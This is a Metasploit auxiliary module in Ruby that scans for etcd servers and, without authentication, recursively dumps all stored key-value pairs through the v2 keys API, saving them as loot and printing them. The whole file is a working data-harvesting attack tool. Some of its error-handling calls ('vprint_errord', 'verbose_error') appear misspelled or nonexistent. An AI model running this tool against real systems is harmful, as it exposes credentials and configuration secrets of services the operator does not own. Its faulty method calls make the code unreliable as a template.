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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Etcd
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  include Msf::Auxiliary::Scanner
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  def initialize
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    super(
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      'Name' => 'Etcd Keys API Information Gathering',
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      'Description' => %q(
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        This module queries the etcd API to recursively retrieve all of the stored
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        key value pairs.  Etcd by default does not utilize authentication.
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      ),
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      'References' => [
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        ['URL', 'https://gcollazo.com/the-security-footgun-in-etcd/']
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      ],
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      'Author' => [
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        'Giovanni Collazo <[email protected]>', # discovery
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        'h00die' # msf module
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      ],
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      'License' => MSF_LICENSE,
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      'DisclosureDate' => "Mar 16 2018"
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    )
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  end
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  def run_host(_target_host)
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    path = normalize_uri(target_uri.to_s, 'v2/keys/?recursive=true')
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    banner = fingerprint_service(target_uri.to_s)
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    vprint_status("#{peer} - Collecting data through #{path}...")
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    res = send_request_raw(
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      'uri'    => path,
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      'method' => 'GET'
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    )
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    # parse the json if we got a good request back
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    if res && res.code == 200
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      begin
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        response = res.get_json_document
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        store_loot('etcd.data', 'text/json', rhost, response, 'etcd.keys', 'etcd keys')
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      rescue JSON::ParserError => e
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        print_error("Failed to read JSON: #{e.class} - #{e.message}}")
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        return
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      end
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      print_good("#{peer}\nVersion: #{banner}\nData: #{JSON.pretty_generate(response)}")
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    elsif res
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      vprint_errord("Invalid response #{res.code} for etcd open keys response")
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      return
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    else
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      verbose_error("No response for etcd open keys probe")
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      return
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    end
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  end
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end
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